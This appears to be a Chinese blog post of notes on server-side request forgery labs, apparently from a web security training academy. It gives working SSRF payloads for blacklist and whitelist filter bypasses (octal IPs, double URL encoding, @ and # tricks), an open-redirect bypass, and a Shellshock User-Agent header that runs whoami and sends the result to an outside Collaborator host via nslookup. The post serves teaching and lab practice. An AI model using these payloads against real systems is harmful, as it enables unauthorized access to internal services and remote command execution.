Posts 简析SSRF
Post
Cancel

简析SSRF

Server-side request forgery,服务端请求伪造

允许攻击者诱使服务器端应用程序向攻击者选择的任意域发出HTTP请求

在针对服务器本身的SSRF攻击中,攻击者诱使应用程序通过其环回网络接口向承载应用程序的服务器发出HTTP请求

1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://stock.weliketoshop.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1 

案例1:针对本地服务器的基础SSRF

stockApi=http://localhost/admin/delete?username=carlos

为什么应用会有这种隐式方式信任来自计算机的请求,主要有以下原因;

  1. 在应用程序前端服务器的不同组件中实现访问控制检查。与服务器本身建立连接后,将绕过检查
  2. 为了灾难恢复的目的,以便于管理员在失去凭证情况下可以从其他客户进行恢复
  3. 管理员接口可能在其他端口监听,因此在用户不能直接连入的情况下通过这种方式接入管理接口

SSRF攻击其他后端系统

案例2:针对后端系统的SSRF

http://192.168.0.110:8080/admin/delete?username=carlos

避免普通SSRF攻击

基于黑名单的输入过滤器的SSRF

某些应用禁止输入包含类似localhost/127.0.0.1的主机名或敏感url,但是可以通过其他方法进行绕过:

  1. 替代ip地址:127.0.0.1==>2130706433(十进制), 017700000001(八进制), or 127.1
  2. 注册自己的域名,该域名解析为127.0.0.1,可以为此目的使用spoofed.burpcollaborator.net
  3. 通过URL编码和大小写对禁止的字符串进行混淆

127.1==127.0.0.1,浏览器会自动补全

案例3:基于黑名单的输入过滤器的SSRF

stockApi=http://017700000001/%2561dmin/delete?username=carlos

基于白名单的输入过滤器的SSRF

URL规范包含许多功能,这些特征在实施临时解析和URL验证时容易被忽略:

  1. 使用@字符在主机名之前的URL中嵌入凭据:http://expected-host@evil-host
  2. 使用#字符指示URL片段:http://evil-host#expected-host
  3. 利用DNS命名层次结构将所需的输入放入您控制的标准DNS名称中:http://expected-host.evil-host
  4. 使用URL编码字符来混淆URL解析代码。如果实现过滤器的代码与执行后端HTTP请求的代码以不同的方式处理URL编码的字符,则这特别有用

evil-host代表原先URL,expected-host代表利用的URL

案例4: 基于白名单的输入过滤器的SSRF

stockApi=http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos

通过开放式重定向绕过SSRF过滤器

1
2
3
4
5
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin 

这种SSRF漏洞之所以有效,是因为该应用程序首先验证了所提供的stockAPI ,并且URL在允许的域中,然后应用程序进行重定向,并向攻击者选择的内部URL发出请求

案例5:通过重定向绕过SSRF

stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos

Blind SSRF漏洞

  1. 什么是Blind SSRF漏洞

    当可以诱使应用程序向提供的URL发出后端HTTP请求,但是在应用程序的前端响应中未返回来自后端请求的响应时,就会出现Blind SSRF漏洞

  2. 如何找到和利用Blind SSRF

    一般通过带外技术(out-of-band,OAST)来检测后端服务器与指定的服务器是否有网络交互,现成有效的OAST技术就是使用Burp Collaborator client

案例6:带有Shellshock漏洞的Blind SSRF

1
2
3
4
5
6
7
GET /product?productId=1 HTTP/1.1
Host: ac081f2e1f63f81d8077445500ff00fa.web-security-academy.net
User-Agent: (){:;};/usr/bin/nslookup $(whoami).kc0silczxsiie14lce41r4ymsdy3ms.burpcollaborator.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.§1§:8080

Shellshock是GNU Bourne Again Shell(BASH)中的一个漏洞,攻击者可以使用特制环境变量来运行任意命令

总结

1

Ref.

This post is licensed under CC BY 4.0 by the author.